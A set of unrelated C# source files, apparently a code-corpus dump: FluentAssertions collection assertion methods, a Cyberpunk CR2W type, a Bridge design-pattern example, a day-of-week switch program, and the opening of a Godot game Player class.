"Did not expect {context:collection} to contain items in " + sortOrder + " order{reason}, but found {1}.",
Subject);
}
object[] orderedItems = (order == SortOrder.Ascending)
? Subject.Cast<object>().OrderBy(item => item, comparer).ToArray()
: Subject.Cast<object>().OrderByDescending(item => item, comparer).ToArray();
bool itemsAreUnordered = Subject
.Cast<object>()
.Where((actualItem, index) => !actualItem.IsSameOrEqualTo(orderedItems[index]))
.Any();
if (!itemsAreUnordered)
{
Execute.Assertion
.BecauseOf(because, becauseArgs)
.FailWith(
"Did not expect {context:collection} to contain items in " + sortOrder + " order{reason}, but found {0}.",
Subject);
}
return new AndConstraint<TAssertions>((TAssertions)this);
}
/// <summary>
/// Asserts that the collection is a subset of the <paramref name="expectedSuperset" />.
/// </summary>
/// <param name="expectedSuperset">An <see cref="IEnumerable"/> with the expected superset.</param>
/// <param name="because">
/// A formatted phrase as is supported by <see cref="string.Format(string,object[])" /> explaining why the assertion
/// is needed. If the phrase does not start with the word <i>because</i>, it is prepended automatically.
/// </param>
/// <param name="becauseArgs">
/// Zero or more objects to format using the placeholders in <paramref name="because" />.
/// </param>
public AndConstraint<TAssertions> BeSubsetOf(IEnumerable expectedSuperset, string because = "",
params object[] becauseArgs)
{
Guard.ThrowIfArgumentIsNull(expectedSuperset, nameof(expectedSuperset), "Cannot verify a subset against a <null> collection.");
if (ReferenceEquals(Subject, null))
{
Execute.Assertion
.BecauseOf(because, becauseArgs)
.FailWith("Expected {context:collection} to be a subset of {0}{reason}, but found {1}.", expectedSuperset,
Subject);
}
IEnumerable<object> expectedItems = expectedSuperset.Cast<object>();
IEnumerable<object> actualItems = Subject.Cast<object>();
IEnumerable<object> excessItems = actualItems.Except(expectedItems);
if (excessItems.Any())
{
Execute.Assertion
.BecauseOf(because, becauseArgs)
.FailWith(
"Expected {context:collection} to be a subset of {0}{reason}, but items {1} are not part of the superset.",
expectedSuperset, excessItems);
}
return new AndConstraint<TAssertions>((TAssertions)this);
}
/// <summary>
/// Asserts that the collection is not a subset of the <paramref name="unexpectedSuperset" />.
/// </summary>
/// <param name="unexpectedSuperset">An <see cref="IEnumerable"/> with the unexpected superset.</param>
/// <param name="because">
/// A formatted phrase as is supported by <see cref="string.Format(string,object[])" /> explaining why the assertion
/// is needed. If the phrase does not start with the word <i>because</i>, it is prepended automatically.
/// </param>
/// <param name="becauseArgs">
/// Zero or more objects to format using the placeholders in <paramref name="because" />.
/// </param>
public AndConstraint<TAssertions> NotBeSubsetOf(IEnumerable unexpectedSuperset, string because = "",
params object[] becauseArgs)
{
Execute.Assertion
.ForCondition(!ReferenceEquals(Subject, null))
.BecauseOf(because, becauseArgs)
.FailWith("Cannot assert a <null> collection against a subset.");
if (ReferenceEquals(Subject, unexpectedSuperset))
{
Execute.Assertion
.BecauseOf(because, becauseArgs)
.FailWith("Did not expect {context:collection} {0} to be a subset of {1}{reason}, but they both reference the same object.",
Subject,
unexpectedSuperset);
}
IEnumerable<object> expectedItems = unexpectedSuperset.Cast<object>();
ICollection<object> actualItems = Subject.ConvertOrCastToCollection<object>();
if (actualItems.Intersect(expectedItems).Count() == actualItems.Count)
{
Execute.Assertion
.BecauseOf(because, becauseArgs)
.FailWith("Did not expect {context:collection} {0} to be a subset of {1}{reason}.", actualItems, expectedItems);
}
return new AndConstraint<TAssertions>((TAssertions)this);
}
/// <summary>
/// Assert that the current collection has the same number of elements as <paramref name="otherCollection" />.
/// </summary>
/// <param name="otherCollection">The other collection with the same expected number of elements</param>
/// <param name="because">
/// A formatted phrase as is supported by <see cref="string.Format(string,object[])" /> explaining why the assertion
/// is needed. If the phrase does not start with the word <i>because</i>, it is prepended automatically.
/// </param>
/// <param name="becauseArgs">
/// Zero or more objects to format using the placeholders in <paramref name="because" />.
/// </param>
public AndConstraint<TAssertions> HaveSameCount(IEnumerable otherCollection, string because = "",
params object[] becauseArgs)
{
Guard.ThrowIfArgumentIsNull(otherCollection, nameof(otherCollection), "Cannot verify count against a <null> collection.");
if (ReferenceEquals(Subject, null))
{
Execute.Assertion
.BecauseOf(because, becauseArgs)
.FailWith("Expected {context:collection} to have the same count as {0}{reason}, but found {1}.",
otherCollection,
Subject);
}
IEnumerable<object> enumerable = Subject.Cast<object>();
int actualCount = enumerable.Count();
int expectedCount = otherCollection.Cast<object>().Count();
Execute.Assertion
.ForCondition(actualCount == expectedCount)
.BecauseOf(because, becauseArgs)
.FailWith("Expected {context:collection} to have {0} item(s){reason}, but found {1}.", expectedCount, actualCount);
return new AndConstraint<TAssertions>((TAssertions)this);
}
/// <summary>
/// Assert that the current collection does not have the same number of elements as <paramref name="otherCollection" />.
/// </summary>
/// <param name="otherCollection">The other collection with the unexpected number of elements</param>
/// <param name="because">
/// A formatted phrase as is supported by <see cref="string.Format(string,object[])" /> explaining why the assertion
/// is needed. If the phrase does not start with the word <i>because</i>, it is prepended automatically.
/// </param>
/// <param name="becauseArgs">
/// Zero or more objects to format using the placeholders in <paramref name="because" />.
/// </param>
public AndConstraint<TAssertions> NotHaveSameCount(IEnumerable otherCollection, string because = "",
params object[] becauseArgs)
{
Guard.ThrowIfArgumentIsNull(otherCollection, nameof(otherCollection), "Cannot verify count against a <null> collection.");
if (ReferenceEquals(Subject, null))
{
Execute.Assertion
.BecauseOf(because, becauseArgs)
.FailWith("Expected {context:collection} to not have the same count as {0}{reason}, but found {1}.",
otherCollection,
Subject);
}
if (ReferenceEquals(Subject, otherCollection))
{
Execute.Assertion
.BecauseOf(because, becauseArgs)
.FailWith("Expected {context:collection} {0} to not have the same count as {1}{reason}, but they both reference the same object.",
Subject,
otherCollection);
}
IEnumerable<object> enumerable = Subject.Cast<object>();
int actualCount = enumerable.Count();
int expectedCount = otherCollection.Cast<object>().Count();
Execute.Assertion
.ForCondition(actualCount != expectedCount)
.BecauseOf(because, becauseArgs)
.FailWith("Expected {context:collection} to not have {0} item(s){reason}, but found {1}.", expectedCount, actualCount);
return new AndConstraint<TAssertions>((TAssertions)this);
}
/// <summary>
/// Asserts that the current collection has the supplied <paramref name="element" /> at the
/// supplied <paramref name="index" />.
/// </summary>
/// <param name="index">The index where the element is expected</param>
/// <param name="element">The expected element</param>
/// <param name="because">
/// A formatted phrase as is supported by <see cref="string.Format(string,object[])" /> explaining why the assertion
/// is needed. If the phrase does not start with the word <i>because</i>, it is prepended automatically.
/// </param>
/// <param name="becauseArgs">
/// Zero or more objects to format using the placeholders in <paramref name="because" />.
/// </param>
public AndWhichConstraint<TAssertions, object> HaveElementAt(int index, object element, string because = "",
params object[] becauseArgs)
{
if (ReferenceEquals(Subject, null))
{
Execute.Assertion
.BecauseOf(because, becauseArgs)
.FailWith("Expected {context:collection} to have element at index {0}{reason}, but found {1}.", index, Subject);
}
IEnumerable<object> enumerable = Subject.Cast<object>();
object actual = null;
if (index < enumerable.Count())
{
actual = Subject.Cast<object>().ElementAt(index);
Execute.Assertion
.ForCondition(actual.IsSameOrEqualTo(element))
.BecauseOf(because, becauseArgs)
.FailWith("Expected {0} at index {1}{reason}, but found {2}.", element, index, actual);
}
else
{
Execute.Assertion
.BecauseOf(because, becauseArgs)
.FailWith("Expected {0} at index {1}{reason}, but found no element.", element, index);
}
return new AndWhichConstraint<TAssertions, object>((TAssertions)this, actual);
}
/// <summary>
/// Asserts that the current collection does not contain the supplied items. Elements are compared
/// using their <see cref="object.Equals(object)" /> implementation.
/// </summary>
/// <param name="unexpected">An <see cref="IEnumerable"/> with the unexpected elements.</param>
/// <param name="because">
/// A formatted phrase as is supported by <see cref="string.Format(string,object[])" /> explaining why the assertion
/// is needed. If the phrase does not start with the word <i>because</i>, it is prepended automatically.
/// </param>
/// <param name="becauseArgs">
/// Zero or more objects to format using the placeholders in <paramref name="because" />.
/// </param>
public AndConstraint<TAssertions> NotContain(IEnumerable unexpected, string because = "", params object[] becauseArgs)
{
Guard.ThrowIfArgumentIsNull(unexpected, nameof(unexpected), "Cannot verify non-containment against a <null> collection");
ICollection<object> unexpectedObjects = unexpected.ConvertOrCastToCollection<object>();
if (!unexpectedObjects.Any())
{
throw new ArgumentException("Cannot verify non-containment against an empty collection",
nameof(unexpected));
}
if (ReferenceEquals(Subject, null))
{
Execute.Assertion
.BecauseOf(because, becauseArgs)
.FailWith("Expected {context:collection} to not contain {0}{reason}, but found <null>.", unexpected);
}
if (unexpected is string)
{
if (Subject.Cast<object>().Contains(unexpected))
{
Execute.Assertion
.BecauseOf(because, becauseArgs)
.FailWith("Expected {context:collection} {0} to not contain {1}{reason}.", Subject, unexpected);
}
}
else
{
IEnumerable<object> foundItems = unexpectedObjects.Intersect(Subject.Cast<object>());
if (foundItems.Any())
{
if (unexpectedObjects.Count > 1)
{
Execute.Assertion
.BecauseOf(because, becauseArgs)
.FailWith("Expected {context:collection} {0} to not contain {1}{reason}, but found {2}.", Subject,
unexpected, foundItems);
}
else
{
Execute.Assertion
.BecauseOf(because, becauseArgs)
.FailWith("Expected {context:collection} {0} to not contain element {1}{reason}.", Subject,
unexpectedObjects.First());
}
}
}
return new AndConstraint<TAssertions>((TAssertions)this);
}
/// <summary>
/// Asserts that the collection shares one or more items with the specified <paramref name="otherCollection"/>.
/// </summary>
/// <param name="otherCollection">The <see cref="IEnumerable"/> with the expected shared items.</param>
/// <param name="because">
/// A formatted phrase as is supported by <see cref="string.Format(string,object[])" /> explaining why the assertion
/// is needed. If the phrase does not start with the word <i>because</i>, it is prepended automatically.
/// </param>
/// <param name="becauseArgs">
/// Zero or more objects to format using the placeholders in <paramref name="because" />.
/// </param>
public AndConstraint<TAssertions> IntersectWith(IEnumerable otherCollection, string because = "",
params object[] becauseArgs)
{
Guard.ThrowIfArgumentIsNull(otherCollection, nameof(otherCollection), "Cannot verify intersection against a <null> collection.");
if (ReferenceEquals(Subject, null))
{
Execute.Assertion
.BecauseOf(because, becauseArgs)
.FailWith("Expected {context:collection} to intersect with {0}{reason}, but found {1}.", otherCollection,
Subject);
}
IEnumerable<object> otherItems = otherCollection.Cast<object>();
IEnumerable<object> sharedItems = Subject.Cast<object>().Intersect(otherItems);
if (!sharedItems.Any())
{
Execute.Assertion
.BecauseOf(because, becauseArgs)
.FailWith(
"Expected {context:collection} to intersect with {0}{reason}, but {1} does not contain any shared items.",
otherCollection, Subject);
}
return new AndConstraint<TAssertions>((TAssertions)this);
}
/// <summary>
/// Asserts that the collection does not share any items with the specified <paramref name="otherCollection"/>.
/// </summary>
/// <param name="otherCollection">The <see cref="IEnumerable"/> to compare to.</param>
/// <param name="because">
/// A formatted phrase as is supported by <see cref="string.Format(string,object[])" /> explaining why the assertion
/// is needed. If the phrase does not start with the word <i>because</i>, it is prepended automatically.
/// </param>
/// <param name="becauseArgs">
/// Zero or more objects to format using the placeholders in <paramref name="because" />.
/// </param>
public AndConstraint<TAssertions> NotIntersectWith(IEnumerable otherCollection, string because = "",
params object[] becauseArgs)
{
Guard.ThrowIfArgumentIsNull(otherCollection, nameof(otherCollection), "Cannot verify intersection against a <null> collection.");
if (ReferenceEquals(Subject, null))
{
Execute.Assertion
.BecauseOf(because, becauseArgs)
.FailWith("Did not expect {context:collection} to intersect with {0}{reason}, but found {1}.", otherCollection,
Subject);
}
if (ReferenceEquals(Subject, otherCollection))
{
Execute.Assertion
.BecauseOf(because, becauseArgs)
.FailWith("Did not expect {context:collection} {0} to intersect with {1}{reason}, but they both reference the same object.",
Subject,
otherCollection);
}
IEnumerable<object> otherItems = otherCollection.Cast<object>();
IEnumerable<object> sharedItems = Subject.Cast<object>().Intersect(otherItems);
if (sharedItems.Any())
{
Execute.Assertion
.BecauseOf(because, becauseArgs)
.FailWith(
"Did not expect {context:collection} to intersect with {0}{reason}, but found the following shared items {1}.",
otherCollection, sharedItems);
}
return new AndConstraint<TAssertions>((TAssertions)this);
}
/// <summary>
/// Asserts that the collection starts with the specified <paramref name="element"/>.
/// </summary>
/// <param name="element">
/// The element that is expected to appear at the start of the collection. The object's <see cref="object.Equals(object)"/>
/// is used to compare the element.
/// </param>
/// <param name="because">
/// A formatted phrase as is supported by <see cref="string.Format(string,object[])" /> explaining why the assertion
/// is needed. If the phrase does not start with the word <i>because</i>, it is prepended automatically.
/// </param>
/// <param name="becauseArgs">
/// Zero or more objects to format using the placeholders in <paramref name="because" />.
/// </param>
public AndConstraint<TAssertions> StartWith(object element, string because = "", params object[] becauseArgs)
{
AssertCollectionStartsWith(Subject?.Cast<object>(), new[] { element }, ObjectExtensions.IsSameOrEqualTo, because, becauseArgs);
return new AndConstraint<TAssertions>((TAssertions)this);
}
protected void AssertCollectionStartsWith<TActual, TExpected>(IEnumerable<TActual> actualItems, TExpected[] expected, Func<TActual, TExpected, bool> equalityComparison, string because = "", params object[] becauseArgs)
{
Guard.ThrowIfArgumentIsNull(equalityComparison, nameof(equalityComparison));
Execute.Assertion
.BecauseOf(because, becauseArgs)
.WithExpectation("Expected {context:collection} to start with {0}{reason}, ", expected)
.Given(() => actualItems)
.AssertCollectionIsNotNull()
.Then
.AssertCollectionHasEnoughItems(expected.Length)
.Then
.AssertCollectionsHaveSameItems(expected, (a, e) => a.Take(e.Count).IndexOfFirstDifferenceWith(e, equalityComparison))
.Then
.ClearExpectation();
}
protected void AssertCollectionStartsWith<TActual, TExpected>(IEnumerable<TActual> actualItems, ICollection<TExpected> expected, Func<TActual, TExpected, bool> equalityComparison, string because = "", params object[] becauseArgs)
{
Guard.ThrowIfArgumentIsNull(equalityComparison, nameof(equalityComparison));
Execute.Assertion
.BecauseOf(because, becauseArgs)
.WithExpectation("Expected {context:collection} to start with {0}{reason}, ", expected)
.Given(() => actualItems)
.AssertCollectionIsNotNull()
.Then
.AssertCollectionHasEnoughItems(expected.Count)
.Then
.AssertCollectionsHaveSameItems(expected, (a, e) => a.Take(e.Count).IndexOfFirstDifferenceWith(e, equalityComparison))
.Then
.ClearExpectation();
}
/// <summary>
/// Asserts that the collection ends with the specified <paramref name="element"/>.
/// </summary>
/// <param name="element">
/// The element that is expected to appear at the end of the collection. The object's <see cref="object.Equals(object)"/>
/// is used to compare the element.
/// </param>
/// <param name="because">
/// A formatted phrase as is supported by <see cref="string.Format(string,object[])" /> explaining why the assertion
/// is needed. If the phrase does not start with the word <i>because</i>, it is prepended automatically.
/// </param>
/// <param name="becauseArgs">
/// Zero or more objects to format using the placeholders in <paramref name="because" />.
/// </param>
public AndConstraint<TAssertions> EndWith(object element, string because = "", params object[] becauseArgs)
{
AssertCollectionEndsWith(Subject?.Cast<object>(), new[] { element }, ObjectExtensions.IsSameOrEqualTo, because, becauseArgs);
return new AndConstraint<TAssertions>((TAssertions)this);
}
protected void AssertCollectionEndsWith<TActual, TExpected>(IEnumerable<TActual> actual, TExpected[] expected, Func<TActual, TExpected, bool> equalityComparison, string because = "", params object[] becauseArgs)
{
Guard.ThrowIfArgumentIsNull(equalityComparison, nameof(equalityComparison));
Execute.Assertion
.BecauseOf(because, becauseArgs)
.WithExpectation("Expected {context:collection} to end with {0}{reason}, ", expected)
.Given(() => actual)
.AssertCollectionIsNotNull()
.Then
.AssertCollectionHasEnoughItems(expected.Length)
.Then
.AssertCollectionsHaveSameItems(expected, (a, e) =>
{
int firstIndexToCompare = a.Count - e.Count;
int index = a.Skip(firstIndexToCompare).IndexOfFirstDifferenceWith(e, equalityComparison);
return index >= 0 ? index + firstIndexToCompare : index;
})
.Then
.ClearExpectation();
}
protected void AssertCollectionEndsWith<TActual, TExpected>(IEnumerable<TActual> actual, ICollection<TExpected> expected, Func<TActual, TExpected, bool> equalityComparison, string because = "", params object[] becauseArgs)
{
Guard.ThrowIfArgumentIsNull(equalityComparison, nameof(equalityComparison));
Execute.Assertion
.BecauseOf(because, becauseArgs)
.WithExpectation("Expected {context:collection} to end with {0}{reason}, ", expected)
.Given(() => actual)
.AssertCollectionIsNotNull()
.Then
.AssertCollectionHasEnoughItems(expected.Count)
.Then
.AssertCollectionsHaveSameItems(expected, (a, e) =>
{
int firstIndexToCompare = a.Count - e.Count;
int index = a.Skip(firstIndexToCompare).IndexOfFirstDifferenceWith(e, equalityComparison);
return index >= 0 ? index + firstIndexToCompare : index;
})
.Then
.ClearExpectation();
}
/// <summary>
/// Asserts that the <paramref name="expectation"/> element directly precedes the <paramref name="successor"/>.
/// </summary>
/// <param name="successor">The element that should succeed <paramref name="expectation"/>.</param>
/// <param name="expectation">The expected element that should precede <paramref name="successor"/>.</param>
/// <param name="because">
/// A formatted phrase as is supported by <see cref="string.Format(string,object[])" /> explaining why the assertion
/// is needed. If the phrase does not start with the word <i>because</i>, it is prepended automatically.
/// </param>
/// <param name="becauseArgs">
/// Zero or more objects to format using the placeholders in <paramref name="because" />.
/// </param>
public AndConstraint<TAssertions> HaveElementPreceding(object successor, object expectation, string because = "", params object[] becauseArgs)
{
Execute.Assertion
.BecauseOf(because, becauseArgs)
.WithExpectation("Expected {context:collection} to have {0} precede {1}{reason}, ", expectation, successor)
.Given(() => Subject.Cast<object>())
.ForCondition(subject => subject.Any())
.FailWith("but the collection is empty.")
.Then
.ForCondition(subject => HasPredecessor(successor, subject))
.FailWith("but found nothing.")
.Then
.Given(subject => PredecessorOf(successor, subject))
.ForCondition(predecessor => predecessor.IsSameOrEqualTo(expectation))
.FailWith("but found {0}.", predecessor => predecessor)
.Then
.ClearExpectation();
return new AndConstraint<TAssertions>((TAssertions)this);
}
private static bool HasPredecessor(object successor, IEnumerable<object> subject)
{
return !ReferenceEquals(subject.First(), successor);
}
private static object PredecessorOf(object successor, IEnumerable<object> subject)
{
IList<object> collection = subject.ConvertOrCastToList();
int index = collection.IndexOf(successor);
return (index > 0) ? collection[index - 1] : null;
}
/// <summary>
/// Asserts that the <paramref name="expectation"/> element directly succeeds the <paramref name="predecessor"/>.
/// </summary>
/// <param name="predecessor">The element that should precede <paramref name="expectation"/>.</param>
/// <param name="expectation">The element that should succeed <paramref name="predecessor"/>.</param>
/// <param name="because">
/// A formatted phrase as is supported by <see cref="string.Format(string,object[])" /> explaining why the assertion
/// is needed. If the phrase does not start with the word <i>because</i>, it is prepended automatically.
/// </param>
/// <param name="becauseArgs">
/// Zero or more objects to format using the placeholders in <paramref name="because" />.
/// </param>
public AndConstraint<TAssertions> HaveElementSucceeding(object predecessor, object expectation, string because = "", params object[] becauseArgs)
{
Execute.Assertion
.BecauseOf(because, becauseArgs)
.WithExpectation("Expected {context:collection} to have {0} succeed {1}{reason}, ", expectation, predecessor)
.Given(() => Subject.Cast<object>())
.ForCondition(subject => subject.Any())
.FailWith("but the collection is empty.")
.Then
.ForCondition(subject => HasSuccessor(predecessor, subject))
.FailWith("but found nothing.")
.Then
.Given(subject => SuccessorOf(predecessor, subject))
.ForCondition(successor => successor.IsSameOrEqualTo(expectation))
.FailWith("but found {0}.", successor => successor)
.Then
.ClearExpectation();
return new AndConstraint<TAssertions>((TAssertions)this);
}
private static bool HasSuccessor(object predecessor, IEnumerable<object> subject)
{
return !ReferenceEquals(subject.Last(), predecessor);
}
private static object SuccessorOf(object predecessor, IEnumerable<object> subject)
{
IList<object> collection = subject.ConvertOrCastToList();
int index = collection.IndexOf(predecessor);
return (index < (collection.Count - 1)) ? collection[index + 1] : null;
}
/// <summary>
/// Asserts that all items in the collection are of the specified type <typeparamref name="T" />
/// </summary>
/// <typeparam name="T">The expected type of the objects</typeparam>
/// <param name="because">
/// A formatted phrase as is supported by <see cref="string.Format(string,object[])" /> explaining why the assertion
/// is needed. If the phrase does not start with the word <i>because</i>, it is prepended automatically.
/// </param>
/// <param name="becauseArgs">
/// Zero or more objects to format using the placeholders in <paramref name="because" />.
/// </param>
public AndWhichConstraint<TAssertions, IEnumerable<T>> AllBeAssignableTo<T>(string because = "", params object[] becauseArgs)
{
Execute.Assertion
.BecauseOf(because, becauseArgs)
.WithExpectation("Expected type to be {0}{reason}, ", typeof(T).FullName)
.Given(() => Subject.Cast<object>())
.ForCondition(subject => subject.All(x => x != null))
.FailWith("but found a null element.")
.Then
.ForCondition(subject => subject.All(x => typeof(T).IsAssignableFrom(GetType(x))))
.FailWith("but found {0}.", subject => $"[{string.Join(", ", subject.Select(x => GetType(x).FullName))}]")
.Then
.ClearExpectation();
return new AndWhichConstraint<TAssertions, IEnumerable<T>>((TAssertions)this, Subject.OfType<T>());
}
/// <summary>
/// Asserts that all items in the collection are of the specified type <paramref name="expectedType"/>
/// </summary>
/// <param name="expectedType">The expected type of the objects</param>
/// <param name="because">
/// A formatted phrase as is supported by <see cref="string.Format(string,object[])" /> explaining why the assertion
/// is needed. If the phrase does not start with the word <i>because</i>, it is prepended automatically.
/// </param>
/// <param name="becauseArgs">
/// Zero or more objects to format using the placeholders in <paramref name="because" />.
/// </param>
public AndConstraint<TAssertions> AllBeAssignableTo(Type expectedType, string because = "", params object[] becauseArgs)
{
Guard.ThrowIfArgumentIsNull(expectedType, nameof(expectedType));
Execute.Assertion
.BecauseOf(because, becauseArgs)
.WithExpectation("Expected type to be {0}{reason}, ", expectedType.FullName)
.Given(() => Subject.Cast<object>())
.ForCondition(subject => subject.All(x => x != null))
.FailWith("but found a null element.")
.Then
.ForCondition(subject => subject.All(x => expectedType.IsAssignableFrom(GetType(x))))
.FailWith("but found {0}.", subject => $"[{string.Join(", ", subject.Select(x => GetType(x).FullName))}]")
.Then
.ClearExpectation();
return new AndConstraint<TAssertions>((TAssertions)this);
}
/// <summary>
/// Asserts that all items in the collection are of the exact specified type <typeparamref name="T" />
/// </summary>
/// <typeparam name="T">The expected type of the objects</typeparam>
/// <param name="because">
/// A formatted phrase as is supported by <see cref="string.Format(string,object[])" /> explaining why the assertion
/// is needed. If the phrase does not start with the word <i>because</i>, it is prepended automatically.
/// </param>
/// <param name="becauseArgs">
/// Zero or more objects to format using the placeholders in <paramref name="because" />.
/// </param>
public AndWhichConstraint<TAssertions, IEnumerable<T>> AllBeOfType<T>(string because = "", params object[] becauseArgs)
{
Execute.Assertion
.BecauseOf(because, becauseArgs)
.WithExpectation("Expected type to be {0}{reason}, ", typeof(T).FullName)
.Given(() => Subject.Cast<object>())
.ForCondition(subject => subject.All(x => x != null))
.FailWith("but found a null element.")
.Then
.ForCondition(subject => subject.All(x => typeof(T) == GetType(x)))
.FailWith("but found {0}.", subject => $"[{string.Join(", ", subject.Select(x => GetType(x).FullName))}]")
.Then
.ClearExpectation();
return new AndWhichConstraint<TAssertions, IEnumerable<T>>((TAssertions)this, Subject.OfType<T>());
}
/// <summary>
/// Asserts that all items in the collection are of the exact specified type <paramref name="expectedType"/>
/// </summary>
/// <param name="expectedType">The expected type of the objects</param>
/// <param name="because">
/// A formatted phrase as is supported by <see cref="string.Format(string,object[])" /> explaining why the assertion
/// is needed. If the phrase does not start with the word <i>because</i>, it is prepended automatically.
/// </param>
/// <param name="becauseArgs">
/// Zero or more objects to format using the placeholders in <paramref name="because" />.
/// </param>
public AndConstraint<TAssertions> AllBeOfType(Type expectedType, string because = "", params object[] becauseArgs)
{
Guard.ThrowIfArgumentIsNull(expectedType, nameof(expectedType));
Execute.Assertion
.BecauseOf(because, becauseArgs)
.WithExpectation("Expected type to be {0}{reason}, ", expectedType.FullName)
.Given(() => Subject.Cast<object>())
.ForCondition(subject => subject.All(x => x != null))
.FailWith("but found a null element.")
.Then
.ForCondition(subject => subject.All(x => expectedType == GetType(x)))
.FailWith("but found {0}.", subject => $"[{string.Join(", ", subject.Select(x => GetType(x).FullName))}]")
.Then
.ClearExpectation();
return new AndConstraint<TAssertions>((TAssertions)this);
}
private static Type GetType(object o)
{
return o is Type t ? t : o.GetType();
}
/// <summary>
/// Returns the type of the subject the assertion applies on.
/// </summary>
protected override string Identifier => "collection";
}
}
| 50.985159 | 237 | 0.589189 |
[
"Apache-2.0"
] |
MaksimSimkin/fluentassertions
|
Src/FluentAssertions/Collections/CollectionAssertions.cs
| 99,625 |
C#
|
using System.IO;
using CP77.CR2W.Reflection;
using FastMember;
using static CP77.CR2W.Types.Enums;
namespace CP77.CR2W.Types
{
[REDMeta]
public class gameprojectileHitEvent : redEvent
{
[Ordinal(0)] [RED("hitInstances")] public CArray<gameprojectileHitInstance> HitInstances { get; set; }
public gameprojectileHitEvent(CR2WFile cr2w, CVariable parent, string name) : base(cr2w, parent, name) { }
}
}
| 26.625 | 109 | 0.730047 |
[
"MIT"
] |
Eingin/CP77Tools
|
CP77.CR2W/Types/cp77/gameprojectileHitEvent.cs
| 411 |
C#
|
using System;
namespace DesignPattern.Structural.Bridge.Conceptual
{
// The Abstraction defines the interface for the "control" part of the two
// class hierarchies. It maintains a reference to an object of the
// Implementation hierarchy and delegates all of the real work to this
// object.
class Abstraction
{
protected IImplementation _implementation;
public Abstraction(IImplementation implementation)
{
this._implementation = implementation;
}
public virtual string Operation()
{
return "Abstract: Base operation with:\n" +
_implementation.OperationImplementation();
}
}
// You can extend the Abstraction without changing the Implementation
// classes.
class ExtendedAbstraction : Abstraction
{
public ExtendedAbstraction(IImplementation implementation) : base(implementation)
{
}
public override string Operation()
{
return "ExtendedAbstraction: Extended operation with:\n" +
base._implementation.OperationImplementation();
}
}
// The Implementation defines the interface for all implementation classes.
// It doesn't have to match the Abstraction's interface. In fact, the two
// interfaces can be entirely different. Typically the Implementation
// interface provides only primitive operations, while the Abstraction
// defines higher- level operations based on those primitives.
public interface IImplementation
{
string OperationImplementation();
}
// Each Concrete Implementation corresponds to a specific platform and
// implements the Implementation interface using that platform's API.
class ConcreteImplementationA : IImplementation
{
public string OperationImplementation()
{
return "ConcreteImplementationA: The result in platform A.\n";
}
}
class ConcreteImplementationB : IImplementation
{
public string OperationImplementation()
{
return "ConcreteImplementationA: The result in platform B.\n";
}
}
class Client
{
// Except for the initialization phase, where an Abstraction object gets
// linked with a specific Implementation object, the client code should
// only depend on the Abstraction class. This way the client code can
// support any abstraction-implementation combination.
public void ClientCode(Abstraction abstraction)
{
Console.Write(abstraction.Operation());
}
}
class Program
{
static void Main(string[] args)
{
Client client = new Client();
Abstraction abstraction;
// The client code should be able to work with any pre-configured
// abstraction-implementation combination.
abstraction = new Abstraction(new ConcreteImplementationA());
client.ClientCode(abstraction);
Console.WriteLine();
abstraction = new ExtendedAbstraction(new ConcreteImplementationB());
client.ClientCode(abstraction);
}
}
}
| 33.55102 | 89 | 0.644161 |
[
"MIT"
] |
abhinav2127/DesignPattern_CSharp
|
Structural-Patterns/Bridge/cs-program.cs
| 3,288 |
C#
|
using System;
namespace _09_DayOfWeek
{
public class dayOfWeek
{
public static void Main(string[] args)
{
var day = int.Parse(Console.ReadLine());
switch (day)
{
case 1:
Console.WriteLine("Monday");
break;
case 2:
Console.WriteLine("Tuesday");
break;
case 3:
Console.WriteLine("Wednesday");
break;
case 4:
Console.WriteLine("Thursday");
break;
case 5:
Console.WriteLine("Friday");
break;
case 6:
Console.WriteLine("Saturday");
break;
case 7:
Console.WriteLine("Sunday");
break;
default:
Console.WriteLine("Error");
break;
}
}
}
}
| 25.97561 | 52 | 0.362441 |
[
"MIT"
] |
Brankovanov/SoftUniCourses
|
1.ProgrammingBasics/complexConditions/09_DayOfWeek/dayOfWeek.cs
| 1,067 |
C#
|
using Godot;
using System.Collections.Generic;
using Oubliette.Stats;
using Oubliette.Spells;
namespace Oubliette
{
public class Player : Character, ICastsSpells
{
private float jumpPower = 175f;
private float scrollScale = 1.0f;
private BaseSpell primarySpell;
private BaseSpell secondarySpell;
private SceneTreeTimer spellEffectTimer;
private SceneTreeTimer takeDmgTimer;
private bool canTakeDamage = true;
private float primarySpellCooldown = 0.0f;
public float maxPrimarySpellCooldown = 0.5f;
private bool isSpellActive = false;
private float maxMajyka = 100.0f;
private float currentMajyka = 100.0f;
public float staffRot = 0.0f;
public List<Artefact.ArtefactTextureSet> artefactTextureSets = new List<Artefact.ArtefactTextureSet>();
public string KilledBy = "";
private Vector2 armSocket = Vector2.Zero;
public Vector2 facingDir = Vector2.Zero;
private Godot.Collections.Dictionary<Direction, Vector2> staffOrigins = new Godot.Collections.Dictionary<Direction, Vector2>() { { Direction.Up, new Vector2(4.0f, -10.0f) }, { Direction.Right, new Vector2(0.0f, -8.0f) }, { Direction.Down, new Vector2(-4.0f, -10.0f) }, { Direction.Left, new Vector2(0.0f, -10.0f) } };
private Godot.Collections.Dictionary<Direction, Vector2> armOrigins = new Godot.Collections.Dictionary<Direction, Vector2>() { { Direction.Up, new Vector2(2.5f, -11.0f) }, { Direction.Right, new Vector2(-0.5f, -11.0f) }, { Direction.Down, new Vector2(-2.5f, -11.0f) }, { Direction.Left, new Vector2(0.5f, -11.0f) } };
private Physics2DShapeQueryParameters hitAreaShapeQuery;
private HashSet<Node> intersectedAreas = new HashSet<Node>();
private Potion currentPotion;
private float pickupCooldown = 0.0f;
public HashSet<(Color colour, float weight)> SpellColourMods { get; set; } = new HashSet<(Color colour, float weight)>();
private Color primarySpellColourCache;
public float BloodTrailAmount { get; set; } = 0.0f;
public Color BloodTrailColour { get; set; } = Colors.Transparent;
public HashSet<BuffTracker> PerRoomBuffs { get; set; } = new HashSet<BuffTracker>();
public static Color PlayerBloodColour = new Color(0.760784f, 0, 0.101961f);
// Nodes
public Camera2D Camera { get; set; }
private Particles2D spellParticle;
private MajykaContainer majykaBar;
private Sprite staff;
public World @World { get; set; }
private Line2D arm;
private Line2D armOutline;
private Light2D staffLight;
private Node2D spellSpawnPoint;
private ItemDisplaySlot potionSlot;
private ItemDisplaySlot primarySpellSlot;
private PlayerGib headGib;
private AudioStreamPlayer hitSoundPlayer;
private AudioStreamPlayer spellSoundPlayer;
private AudioStreamPlayer potionSoundPlayer;
private GridContainer buffTrackerContainer;
private Node2D spellFXNode;
private ClothSim cloakUpDown;
private ClothSim cloakRightLeft;
// Input
private bool inputMoveUp = false;
private bool inputMoveDown = false;
private bool inputMoveLeft = false;
private bool inputMoveRight = false;
// Assets
private Texture debugPoint;
